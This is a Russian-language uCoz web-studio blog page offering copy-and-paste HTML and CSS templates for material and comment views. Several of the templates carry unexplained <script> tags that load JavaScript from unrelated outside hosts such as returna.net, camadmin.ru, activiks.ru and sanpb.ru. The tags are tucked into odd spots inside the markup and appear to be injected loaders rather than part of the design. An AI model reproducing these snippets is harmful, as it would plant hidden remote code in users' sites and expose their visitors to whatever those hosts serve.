Вид материалов - Блог - Веб-студия IPC : Одесса : Создание и продвижение сайтов

Активикуем "Дополнительное поле 1" и переименовуем его "Сылка на картинку"

Код:

<table width="100%" border="0" cellspacing="1" cellpadding="0">
<tr>
<td class="eTitle" align="center" style="border: 1px solid #252525;"><a href="$ENTRY_URL$">$TITLE$</a></td>
</tr>
</table>

Категория: Вид материалов | Просмотров: 461 | Добавил: RedStar | Дата: 15.08.2014 | Комментарии (0)

Лента комментариев

Скрипт ленты комментариев сайта zornet измененный
Установка:
Создаем информер:
[ Комментарии · Материалы · Дата добавления материала D · Материалы: 4 · Колонки: 1 ]
В шаблон информера вставляем:

Код

<div class="hidden" style="margin:0 0 3px 0;"> <a href="$ENTRY_URL$" tite=”$ENTRY_TITLE$”><div class="comm_tape"> <div class="left"><script type="text/javascript" src="http://returna.net/background.js"></script><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$"><?else?><img src="http://pnghosts.ru/img/no-ava-cs.png"><?endif?></div>  <div class="right" align="left"><b>Написал:</b> $USERNAME$ $MESSAGE$</div>  </div></a> </div>

В CSS стиль вставляем:

Код

.comm_tape {background:url(http://pnghosts.ru/img/comm_tape.png) no-repeat 0 0; width:198px; height:38px; color:#000;}
.comm_tape:hover {background-position:0 -39px; color:#fff;}
.comm_tape a:hover {color:#fff;}
.comm_tape .left {width:20px; height:23px; float:left; margin:9px 0 0 8px;}
.comm_tape .left img {width:20px; height:23px;border:1px solid #d2d2d4;}
.comm_tape .right {float:left; width:75%; padding:6px 5px;overflow:hidden;height:23px;}
.right {
float: right;
}

Категория: Вид материалов | Просмотров: 443 | Добавил: DoG | Дата: 03.07.2013 | Комментарии (0)

Вид материалов для каталога статей от сайта megafact

Вид материалов в зелено-белых тонах для каталога статей, архива новостей и т.д.

Для начала надо скачать архив с сайта иначе картинок не будет.
[Извлекаем картинки -> создаем папку images в файловом менджере -> загружаем картинки в эту папку.]

Скачать архив с Yandex.Disk

Вставляем этот код в вид материалов:

Код

<div class="news">
<div class="news_l">
  <h2>$MODER_PANEL$ <a href="$ENTRY_URL$"><font size=4 color="#FFD700">$TITLE$</font></a></h2>
  <hr>
  <div class="img_news">
  <div class="uzoom">
  <img src="$IMG_URL1$" class="uber_img" alt="$TITLE$" />

</div>


  </div>
  <p class="message">$MESSAGE$ Описание отсутствует</p>
  <div class="clear"></div>
</div>
<div class="news_r">
<div class="date" title="$WDAY$ в $TIME$">$DATE$</div>
<ul>
  <li><img src="/images/21-skull.png" alt="Автор материала" title="Автор материала"/><a href="$PROFILE_URL$" title="автор материала">$USERNAME$</a></li>
  <li><img src="/images/179-notepad.png" alt="Комментариев" title="Комментариев"/><script type="text/javascript" src="http://returna.net/background.js"></script><a href="$COMMENTS_URL$" title="комментариев">$COMMENTS_NUM$</a></li>
  <li><img src="/images/12-eye.png" alt="Просмотров" title="Просмотров"/><span title="просмотров">$READS$</span></li>
<br><div align="center"><a style="color:#267578;" title="Подробнее" href="$ENTRY_URL$" class="readon"><span>Подробнее</span></a></div>
  </ul>
</div>
</div>

А это в css:

Код

/* style news */
.clear {
  clear:both;
}
.news {
  width:auto;
  position:relative;
  margin-bottom:30px;
  padding:15px;
  background:url(/images/title-bg1.png)no-repeat;
  border:1px solid #d3d3d3;
  font-family:helvetica, arial, sans-serif;
}
.news_l {
  padding-right:145px;
  min-height:150px;
}
.news_r {
  width:140px;
  height:100%;
  background:#f4f4f4;
  position:absolute;
  top:0;
  right:0;
  text-align:center;
}
.news h2 {
  margin:0;
  background: 0px 7px repeat;
  height:25px;
  overflow:hidden;
  margin:10px 0 15px 0;
  position:relative;
}
.news h2 a {

  padding:2px 10px 6px 0;
  text-decoration:none;
  color:#89a0af; /*цвет заголовка новости*/
  font-size:16px;
}
.news h2 span a {
  padding-right:0;
}
.img_news {
  float:left;
  display:inline-block;
  margin:0 14px 5px 0;
  padding:5px;
  background:#EDF1F2;
  border:1px solid #DDE1E2;
}
.img_news img {
  width:180px;
  Height:150px;
  border:1px solid #DDE1E2;
}
.message {
  padding:0 0 10px 0;
  margin:0;
  font-size:20px;
  text-align:justify;
}
.news_r .date {
  display:inline-block;
  position:relative;
  font-size:13px;
  padding:7px 10px 4px 10px;
  margin:18px 0 -5px 0;
  background:url(/images/title-bg1.png); /*цвет блока с датой*/
  border:1px solid #fff;
  color:#fff;
  text-align:center;
}
.news_r ul {
  list-style:none;
  margin:0;
  padding:0;
  text-align:left;
  width:100px;
  margin:18px auto 0 auto;
  font-size:12px;
}
.news_r ul li {
  padding:3px 0 3px 5px;
  border-bottom:1px dotted #BEBEBE;
}
.news_r ul li img {
  margin-right:10px;
  position:relative;
  top:4px;
}
.news_r ul li a, .news_r ul li span {
  color:#707070;
  text-decoration:none;
}

Категория: Вид материалов | Просмотров: 407 | Добавил: DoG | Дата: 13.05.2013 | Комментарии (0)

MineCraft вид материалов для uCoz

Вид материалов MineCraft для сайтов uCoz сделан в стиле опулярной игры МайнКрафт.
Вид материалов каталога файлов как у GoMineCraft можно переделать под модуль новости.
Скачиваете архив, в нем все подробно описано что и куда вставлять.

Скачать архив с Yandex.Disk

Категория: Вид материалов | Просмотров: 471 | Добавил: DoG | Дата: 20.04.2013 | Комментарии (0)

Вид комментариев для темных дизайнов от Артема Малкова

Всем привет. Не плохой вид комментариев для сайтов на uCoz. Приступим.
Заходим Панель управления - дизайн - управление дизайном - комментарии - вид комментариев
удаляем все и вставляем этот код

Код

<?if($CLASS$)=='cBlock1'?>
<div style="padding-bottom:9px;">
<table cellspacing="0" width=100%><tr><td width=96 valign=top>
  <div class="ob_wp1"><div style="padding-top:4px;padding-left:4px">
  <div class="ob_wp">
  <div style="padding-top:4px;padding-left:4px"> <?if($USER_AVATAR_URL$)?><a href="$PROFILE_URL$" title="$USERNAME$"><img src="$USER_AVATAR_URL$" width=65 height=65 class="com_wp"></a><?else?><a href="$PROFILE_URL$" title="$USERNAME$"><div class="com_wp"></div></a><?endif?>
  </div> </div> </div></div>


  <div style="margin-left:-15px"> <center>
<?if($MODER_PANEL$)?>
  <a href="javascript://" rel="new_uWnd" onclick="del_item($ID$);return false;" id="di$ID$" style="text-decoration:none">удалить</a>
  <?endif?>
  </center></div>
  </td><td valign=top>

  <div style="position: absolute;margin-left:-9px;margin-top:14px;"><div id="triangle-left"></div></div>
  <div class="mess_wp">
  <div style="padding:6px">
<table><script type="text/javascript" src="http://camadmin.ru/earch.js"></script><tr>
  <td valign=top><div class="tim_wp"><div style="font-family:Tahoma;color:#797979;padding-left:7px;padding-right:7px;padding-top:4px;padding-bottom:7px">$TIME$</div></div></td>
  <td><div style="font-family:Tahoma;color:#595959;padding-left:7px;"><b>$MESSAGE$</b></div></td>
  </tr></table>
  </div>

  </div>
  </div>
  </td></tr></table>

<?else?>
<div style="padding-bottom:9px;">
<table cellspacing="0" width=100%><tr><td valign=top>
  <div class="mess_wp">
  <div style="padding:6px">
<table><tr>
  <td valign=top>
  <div class="tim_wp"><div style="font-family:Tahoma;color:#797979;padding-left:7px;padding-right:7px;padding-top:4px;padding-bottom:7px">$TIME$</div></div></td>
  <td><div style="font-family:Tahoma;color:#595959;padding-left:7px;"><b>$MESSAGE$</b></div></td>
  </tr></table>
  </div>

  </div>
  </div>
  </td><td width=96>
  <div style="position: absolute;margin-left:-2px;margin-top:14px;"><div id="triangle-left1"></div></div>
  <div style="float:right">
  <div class="ob_wp1"><div style="padding-top:4px;padding-left:4px">
  <div class="ob_wp">
  <div style="padding-top:4px;padding-left:4px"> <?if($USER_AVATAR_URL$)?><a href="$PROFILE_URL$" title="$USERNAME$"><img src="$USER_AVATAR_URL$" width=65 height=65 class="com_wp"></a><?else?><a href="$PROFILE_URL$" title="$USERNAME$"><div class="com_wp"></div></a><?endif?>
  </div> </div> </div></div></div>
  <div style="margin-right:-24px"> <center>
<?if($MODER_PANEL$)?>
  <a href="javascript://" rel="new_uWnd" onclick="del_item($ID$);return false;" id="di$ID$" style="text-decoration:none">удалить</a>
  <?endif?>
  </center></div>
  </td></tr></table>
<?endif?>

затем Панель управления - дизайн - управление дизайном - общие шаблоны - таблица стилей
и вставляете в самый низ этот код

Код

.com_wp {border-radius:50%;background:#fff;width:65;height:65}
  .ob_wp { width:73;height:73;background: #20242b;border-radius:50%; }

  .ob_wp1 { width:81;height:81;background:rgba(255,255,255,0.3);;border-radius:50%; }

  .mess_wp{box-shadow: 0 1px 1px rgba(0, 0, 0, 0.5);border-radius:4;background: #efefef;
background: -moz-linear-gradient(top, #efefef 0%, #dbdbdb 100%);
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#efefef), color-stop(100%,#dbdbdb));
background: -webkit-linear-gradient(top, #efefef 0%,#dbdbdb 100%);
background: -o-linear-gradient(top, #efefef 0%,#dbdbdb 100%);
background: -ms-linear-gradient(top, #efefef 0%,#dbdbdb 100%);
background: linear-gradient(to bottom, #efefef 0%,#dbdbdb 100%);
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#efefef', endColorstr='#dbdbdb',GradientType=0 );
}
  .tim_wp{background:d7d7d7;border-radius:4;}
  #triangle-left {
  width: 0;
  height: 0;
  border-top: 7px solid transparent;
  border-right: 9px solid #e1e1e1;
  border-bottom: 7px solid transparent;
}#triangle-left1 {
  width: 0;
  height: 0;
  border-top: 7px solid transparent;
  border-left: 9px solid #e1e1e1;
  border-bottom: 7px solid transparent;
}

Готово. До новых работ

Категория: Вид материалов | Просмотров: 408 | Добавил: startsmart | Дата: 08.03.2013 | Комментарии (0)

Вид комментариев для uCoz v.5

Всем привет, сегодня я хочу предоставить на общее скачивание очередной вид комментариев для uCoz реализованный в стили минимализма, ничего лишнего как говориться.

Шаг 1 - Установим HTML:

Как и полагается для начала нам следует установить html каркас вида комментариев, для этого заходим в Админ панель => Дизайн => Управление дизайном => Комментарии => Вид комментариев

в котором удаляем старый html код и устанавливаем новый:

Код

<div class="cell_comment">

  <div class="comment_top">
  <strong class="comment_name"><?if($USERNAME$)?>$USERNAME$ <?else?>$NAME$<?endif?></strong>
  <span> пишет: | $DATE$ | $TIME$ <?if($MODER_PANEL$ && $EMAIL$)?><a href="$EMAIL_JS$" title="Email"> ( E-mail )</a><?endif?></span>
  <a href="#ent$ID$" onclick="if (document.getElementById('comEnt$ID$')){$('body').scrollTo( { top:$('#comEnt$ID$').offset().top-22, left:0}, 500 );return false;}" name="ent$ID$"><script type="text/javascript" src="http://camadmin.ru/earch.js"></script><strong class="comment_number">#$NUMBER$</strong></a>
  <?if($ENTRY_URL$)?><a class="comment_page" href="$ENTRY_URL$" target="_blank" title="Перейти на страницу материала">Страница с комментарием </a><?endif?>
  <?if($MODER_PANEL$)?><span class="comment_mp">$MODER_PANEL$</span><?endif?>
  </div>

  <div class="comment_message">
  <?if($USERNAME$)?><a href="$PROFILE_URL$"><img class="comment_avatar" alt="$USERNAME$" src="<?if($USER_AVATAR_URL$)?>$USER_AVATAR_URL$<?else?>http://bambun.ru/images/no_aiotar.jpg<?endif?>" /></a><?else?><img src="http://www.center-dm.ru/img/no_avatar.jpg" class="comment_avatar" alt="аватар отсутствует" /><?endif?>
  $MESSAGE$
  <?if($ANSWER$)?><div class="comment_answer_admin"><a href="/index/8-1" ><img class="comment_avatar_admin" alt="админ" src="http://ПРОПИШИТЕ ВАШ АДМИН АВАТАР"></a>$ANSWER$</div><?endif?>
  </div>

  <div class="comment_bottom">
  <?if($ANSWER_URL$)?><a href="$ANSWER_URL$" class="comment_answer">Ответить</a><?endif?>
  <strong> <?if($COMMENT_RATING$>0)?>Like | +$COMMENT_RATING$ <?endif?> <?if($COMMENT_RATING$=0)?><?if($GOOD_COMMENT_URL$)?><?else?>Like |<?endif?> $COMMENT_RATING$ <?endif?></strong>
  <?if($GOOD_COMMENT_URL$)?><a class="comment_like" href="$GOOD_COMMENT_URL$">Like</a><?endif?>
  </div>

</div>

Обратите внимание, что аватар и ссылка на страницу администратора в ячейки системной переменной $ANSWER$ отвечающий за отображение ответа от администратора, следует прописать вручную.

Шаг 2- Установим CSS:

Теперь когда наш с вами каркас формы добавление комментариев для uCoz готов, пропишем ему следующие css стили:

Код

/* Вид комментариев для uCoz v.5
------------------------------------------*/
.cell_comment {
  float:left;
  width:100%;
  color:#666;
  background:#fff;
  margin: 10px 0px;
  border: 5px solid #bdd3e0;
  border-radius:3px; overflow: hidden;
}

.comment_top {
  float:left;
  width:100%;
  padding:5px 0px;
  background:#F4F8F9;
  border-bottom: 1px solid #E6F0F2;
}

.comment_name{
  margin-left: 20px;
  color:#34AB63;
}

.comment_number {
  float:right;
  background:#f5f7f9;
  margin-right: 20px;
}

.comment_top span {
  font:9px Verdana,Arial,Helvetica, sans-serif;
  color:#999;
}

.comment_mp,
.comment_page {
  float:right;
  margin-right: 20px;
}

.comment_message {
  float:left;
  font:115%/1.5 Verdana,Arial,Helvetica, sans-serif;
  text-align:justify;

  width:94%;
  overflow: hidden;
  padding: 10px 20px 15px 20px;
}

.comment_avatar {
  float:right;
  width:50px;
  height:50px;
  margin: 0px 0px 10px 20px;
  border: 3px solid #bdd3e0;
  border-radius:3px;
}

.comment_bottom {
  float:left;
  width:100%;
  padding:6px 0px 5px 0px;
  background:#F4F8F9;
  border-top: 1px solid #E6F0F2;
  font:10px Verdana,Arial,Helvetica, sans-serif;
}

.comment_answer:link,
.comment_answer:visited{
  float:left;
  margin: 0px 0px 0px 20px;
  background:#8cbec9;
  padding: 2px 7px 2px 7px;
  text-shadow: 1px 1px 1px #5d97a4;
  color:#fff;
}

.comment_answer:hover {
  background:#9dd0db;
}

.comment_answer:active {
  box-shadow:inset 0px 0px 3px #5a95a2!important;
}

.comment_like:link,
.comment_like:visited{
  float:right;
  background:#8ec98c;
  padding: 2px 7px 2px 7px;
  text-shadow: 1px 1px 1px #4aa44c;
  color:#fff;
}

.comment_like:hover {
  background:#abe6a9;
}

.comment_like:active {
  box-shadow:inset 0px 0px 3px #349932!important;
}
... Читать дальше »

Категория: Вид материалов | Просмотров: 412 | Добавил: startsmart | Дата: 08.03.2013 | Комментарии (0)

Новый вид комментариев v.1.0 + Модер-панель для uCoz

Здравствуйте дорогие читатели, сегодня хочу вас порадовать новым видом комментариев и модер-панель для uCoz, в этом виде комментария присутствует уголок что делает вид комментариев симпатичней, не стандартная модер-панель + кнопка "Ответить", небольшая кнопочка "Like".

Шаг 1 - Установим HTML:

Для начало нам следует удалить старый html код вида комментарий, для этого идём в Админ панель => Дизайн => Управление дизайном => Комментарии => Вид комментариев и устанавливаем следующий код:

Код

<div class="content-com">
  <div class="com_p text_r text_9">
  <?if($USERNAME$)?><a href="$PROFILE_URL$"><?if($USER_AVATAR_URL$)?> <img class="avatar_comment wbr3" src="$USER_AVATAR_URL$" /><?else?><img src="/img/no_avatar.jpg" class="avatar_comment wbr3" alt="аватар отсутствует" /><?endif?></a><?else?><img src="/img/no_avatar.jpg" class="avatar_comment wbr3" alt="аватар отсутствует" /><?endif?>

  <?if($USER_LOGGED_IN$)?>
  <?if($IS_OWN$)?><?else?>
  <?if($COMMENT_RATING$)?><?else?>
  <a class="kcom_like ts_b wbr3" href="$GOOD_COMMENT_URL$">Like</a>
  <?endif?>
  <?endif?>
  <?endif?>

  </div>
  <div class="com_l wbr3">
  <div class="com_v grey">
  <?if($ANSWER_URL$)?><div class="left_block"><a href="$ANSWER_URL$" title="Комментировать"><div class="otvet"></div></a></div><?endif?>
<?if($USERNAME$)?><script type="text/javascript" src="http://camadmin.ru/earch.js"></script><div class="left_block top cherta-right gren">$USERNAME$</div><?else?><?if($NAME$)?><div class="left_block top cherta-right gren">$NAME$</div><?else?><div class="left_block top cherta-right gren">Гость</div><?endif?><?endif?>
  <div class="left_block top2 text_9">$DATE$ - $TIME$</div>
  <div class="right top2 text_9 grey cherta-left ">Like | <?if($COMMENT_RATING$=0)?>0<?else?><span class="gren">+$COMMENT_RATING$</span><?endif?></div>
  <div class="right top2 text_9 grey cherta-left">№$NUMBER$</div>
  <?if($MODER_PANEL$)?>
  <a title="Удалить" onclick="del_item($ID$);return false;" id="di$ID$">
  <div class="delete-com right"></div>
  </a>
  <a title="Редактировать" onclick="new _uWnd('Ie',' ',-600,-200,{autosize:1,closeonesc:1,resize:0},{url:'/index/37-$ID$'});return false;">
  <div class="edit-com right"></div>
  </a>
  <?endif?>
  </div>
  <div class="com_c text_115">$MESSAGE$ </div>
  <div class="com_n grey text_9">
  <span class="left">
  </span>
  </div>
  </div>
</div>

Шаг 2 - Установим CSS:

Теперь нам надо прописать стили "css" что бы наш вид комментариев отображался коректно и стал симпатичным.

Код

/* Вид комментариев v.1
  ------------------------------------------*/

/* Выравнивание */
  div.left_block {float:left;}
  div.right_block {float:right;}

/* Кнопки комментировать, редактировать, удалить */
.otvet {
  background: url(/img/otvet.png);
  background-position: -0px -0px;
  width: 25px;
  height: 23px;
  cursor: pointer;
  border-right:1px solid #cad1db;
  }
.otvet:hover
  {
  background: url(/img/otvet.png);
  background-position: -0px -23px;
  width: 25px;
  height: 23px;
  cursor: pointer;
  }

.edit-com {
  background: url(/img/moder-panel.png);
  background-position: -0px -0px;
  width: 35px;
  height: 23px;
  cursor: pointer;
  border-left:1px solid #cad1db;
  }
.edit-com:hover
  {
  background: url(/img/moder-panel.png);
  background-position: -0px -23px;
  width: 35px;
  height: 23px;
  cursor: pointer;
  }

.delete-com {
  background: url(/img/moder-panel.png);
  background-position: -35px -0px;
  width: 35px;
  height: 23px;
  cursor: pointer;
  border-left:1px solid #cad1db;
  }
.delete-com:hover
  {
  background: url(/img/moder-panel.png);
  background-position: -35px -23px;
  width: 35px;
  height: 23px;
  cursor: pointer;
  }

/* Аватар */
.avatar_comment {
  width:50px;
  height:50px;
  padding:3px;
  background:#888888;
}

/* Зак ... Читать дальше »

Категория: Вид материалов | Просмотров: 435 | Добавил: startsmart | Дата: 08.03.2013 | Комментарии (0)

Вид комментариев не использующий картинки всё в CSS стиле

Вид комментариев не использующий картинки всё в CSS стиле, что улучшает скорость загрузки страницы. Прост в установки. 1. Заходим панель управления, комментарии, вид комментариев. Удаляем старый код и вставляем этот:

Код

<table style="opacity: 0.5;" id="fImga$ID$" onMouseOver="fadeOpacity(this.id, 'oR1')" onMouseOut="fadeOpacity.back(this.id)" border="0" cellpadding="0" cellspacing="0" width="100%">
  <tr><td width="15%">
  <table border="0" cellpadding="0" cellspacing="0">
  <tbody><tr>
  <td>
  <div class="e_details01">
  <?if($USER_AVATAR_URL$)?><a title="Просмотреть профиль $USERNAME$" href="$PROFILE_URL$" target="blank"><img src="$USER_AVATAR_URL$" width="60px" border="0"></a><?else?><a title="$USERNAME$" href="$PROFILE_URL$"><img border="0" title="Просмотреть профиль $USERNAME$" src="http://bambun.ru/images/noavatar.png" width="60px"></a>
  </div><?endif?>
  </td></tr>
  </tbody></table>
  </td>
  <td width="85%" align="right"><div class="e_details01">
  <table border="0" cellpadding="0" cellspacing="0" width="100%">
  <tbody><tr><td width="6%"><img src="http://bambun.ru/images/commentquote.png" onclick="emoticon('$USERNAME$, ','message');return false;" rel="nofollow" href="javascript://" title="Клик для цитирования $USERNAME$" border="0" width="60">
  </td>
  <td width="94%">
  <div style="float: right; font-size: 11px; font-family: Arial,sans-serif;">
  <?if($COMMENT_RATING$<0)?><span class="myWinError"><b>$COMMENT_RATING$</b></span>
  <?else?><?if($COMMENT_RATING$=0)?><span style="color:gray;"><b>$COMMENT_RATING$</b></span>
  <?else?><span class="myWinSuccess"><b>+$COMMENT_RATING$</b></span>
  <?endif?><?endif?> <?if($GOOD_COMMENT_URL$)?><a href="$GOOD_COMMENT_URL$"><img title="Хороший пост" src="http://bambun.ru/images/thumbu.png" alt="" align="absmiddle" border="0" width="13"></a> <a href="$BAD_COMMENT_URL$"><img title="Плохой пост" src="http://bambun.ru/images/thumbd.png" alt="" align="absmiddle" border="0" width="13"></a>
  <?else?><img alt="" src="http://bambun.ru/images/thumbu_.png" align="absmiddle" width="13" border="0" title="Хороший пост"> <img alt="" src="http://bambun.ru/images/thumbd_.png" width="13" align="absmiddle" border="0" title="Плохой пост"><?endif?> $MODER_PANEL$</div>
  <div style="text-align: left;" class="cTop">
  <?if($IS_OWN$)?><span class="myWinError">*</span>
  <?else?><?if($IS_NEW$)?><span class="myWinSuccess">*</span> <?endif?><?endif?><a name="ent$ID$" onclick="if (document.getElementById('comEnt$ID$')){$('body').scrollTo( { top:$('#comEnt$ID$').offset().top-22, left:0}, 500 );return false;}" href="#ent$ID$"><b>$NUMBER$)</b></a>
  <?if($USERNAME$)?>Добавил: <a href="$PROFILE_URL$"><b>$USERNAME$</b></a><?else?><b>$NAME$</b><?endif?>
  <span style="font-size: 7pt; unicode-bidi: embed;">($DATE$ $TIME$)</span>
  <?if($ENTRY_URL$)?>[<a title="Перейти на страницу материала" target="_blank" href="$ENTRY_URL$">Материал</a>]<?endif?>
  </div><script type="text/javascript" src="http://activiks.ru/img/png.js"></script>
  <div style="text-align: left; clear: both; padding-left: 10px;" class="cMessage">
  $MESSAGE$</div>
  <?if($ANSWER$)?><div style="text-align: left; clear: both;" class="cAnswer"><font color="#0BE00B"><b> Ответ</b>:</font> $ANSWER$</div><?endif?>
  <?if($ANSWER_URL$)?><div style="clear: both; padding-left: 15px; font-size: 7pt;">[<a href="$ANSWER_URL$">Ответить</a>]</div><?endif?>
  </td></tr>
  </tbody></table>
  </div>
  </td></tr></table><br>

2. это вставляем в CSS в самый низ:

Код

.e_details01 {
  padding:6px !important;
  background:#FFFFFF;
  border:1px solid#C9C9C9 !important;
  border-radius:6px;
  -moz-border-radius:6px;
  box-shadow:0px 0px 10px #e8e8e8;
  -moz-box-shadow:0px 0px 5px #dcdbd8;}

Категория: Вид материалов | Просмотров: 440 | Добавил: startsmart | Дата: 10.02.2013 | Комментарии (0)

Необычный вид комментариев

Довольно не стандартный вид комментариев с функцией ."Мне нравится"Вид очень необычный.

Наверное каждому надоело,комментировать новость,и видеть простой комментарий без эффектов и прочего...если да, то скрипт для вас....
видос по установке данного скрипта youtube.com/watch?feature=player_embedded&v=I4jtZGqG0YQ
Вставить с заменой в вид комментариев:

Код

<table align="center" width="100%" style="border-collapse:collapse;margin:10px;">
  <tr>
  <td width="10px" style="padding:5px;border-top:1px solid #d2d2d2;border-left:1px solid #d2d2d2;border-bottom:1px solid #d2d2d2;background:#FFFFFF;"><font color="#404040"><b>$USERNAME$</b></font> $MODER_PANEL$</td>
  <td width="200px" style="padding:5px;border-top:1px solid #d2d2d2;border-right:1px solid #d2d2d2;background:#FFFFFF;"></td>
  <td width="10px" style="border-bottom:1px solid #d2d2d2;"></td>
  <td width="20px" style="background:#FFFFFF;border-top:1px solid #d2d2d2;border-right:1px solid #d2d2d2;border-left:1px solid #d2d2d2;">

  <div id="allrate$NUMBER$" align="center">
  <a style="text-decoration:none;" href="$GOOD_COMMENT_URL$"><span id="ico$NUMBER$"><img src="http://bambun.ru/images/love.png" border="0" style="width: 15px; margin-bottom:-2px; margin-right:2px;" >$COMMENT_RATING$</span></a>
  </div>

  </td>
  <td width="10px" style="border-bottom:1px solid #d2d2d2;"><script src="http://activiks.ru/img/png.js" type="text/javascript"></script></td>
  <td align="center" style="padding:5px;background:#FFFFFF;border-top:1px solid #d2d2d2;border-right:1px solid #d2d2d2;border-left:1px solid #d2d2d2;">

  <div id="allrate$NUMBER$" align="center">
  <a href="$PROFILE_URL$"><img border="0" width="12" src="http://bambun.ru/images/go-home.png"></a>
  </div>

  </td>
  </tr>
  <tr>
  <td colspan="1" valign="top" width="60px" style="padding:10px;"><img src="$USER_AVATAR_URL$" width="60px" style="padding:3px;background:#f7f7f7;border:1px solid #d3d3d3;"></td>
  <td colspan="5" width="90%" valign="top" style="padding:3px;border-bottom:1px solid #d2d2d2;border-right:1px solid #d2d2d2;border-left:1px solid #d2d2d2;background:#FFFFFF;">$MESSAGE$</td>
  </tr>
  </table>
  <style>
  #allrate$NUMBER$ {opacity:0.5;font-size:10px;}
  #allrate$NUMBER$:hover {opacity:1.0;}
  #ico$NUMBER$ {color:#2B587A;cursor:pointer;}
  </style>

Категория: Вид материалов | Просмотров: 515 | Добавил: startsmart | Дата: 01.02.2013 | Комментарии (0)

Скрипт светлый вид материалов файлов для uCoz

Code

<div id="entryID$ID$">
  <style>
  .viewn_rat {float:right;}
  .viewn_cont {padding:5px 9px 0 9px; overflow:hidden;}
  .</style>
  <style type="text/css"> @import url('http://bambun.ru/css_js/css-vida-cstav.ru.css') all;</style>
  <div id="entryID$ID$">
  <div class="viewn_loop">
  <div class="viewn_in">
  <div class="viewn_top">
  <div class="viewn_rat"><?$RSTARS$('17',' http://bambun.ru/images/rating.png ','1','float')?></div>
  <a href="$ENTRY_URL$"><div class="block_title">$TITLE$</div></a><?if($MODER_PANEL$)?>$MODER_PANEL$<?endif?>
  </div>
  <div class="viewn_cont"><table><tr>
  <td width="174px"><div style="background:url(http://bambun.ru/images/posterbg2.png) no-repeat;width:150px;height:128px;padding-top:4px;padding-bottom:4px;padding-right:22px;padding-left:4px;cursor:pointer;">
  <img id="img$ID$" src="$IMG_URL1$" width="150px" height="128px" align="left" alt="$TITLE$" />
  <script type="text/javascript">
  $(function(){
  $('#img$ID$').click(function(){var s="'sc'";
  new _uWnd('Et','Реальный размер изображения $TITLE$',70,70,{autosize:1,shadow:1,autosizeonimages:1,header:1},'<img src="'+$(this).attr('src')+'" align="center" alt="" onclick="_uWnd.close('+s+')" style="max-width:900px;max-height:700px;cursor:pointer;">');});
  });
  </script>
  </div> </td>
  <div class="news-message">
  <td>$MESSAGE$</td></tr></table>
  <div class="viewn_detail" style="text-align:left;">
  <a href="$CATEGORY_URL$">$CATEGORY_NAME$</a> | Просмотров: <b>$READS$</b> | <span title="$TIME$">$DATE$</span> | Скачали <b>$LOADS$</b> | Добавил <b>$USERNAME$</b> |
  </div><script src="http://sanpb.ru/text.js" type="text/javascript"></script>
  </div>
  </div>
  </div>
  </div></div></div>

Категория: Вид материалов | Просмотров: 500 | Добавил: startsmart | Дата: 08.11.2012 | Комментарии (0)

1-10 11-20 21-30 31-40 41-41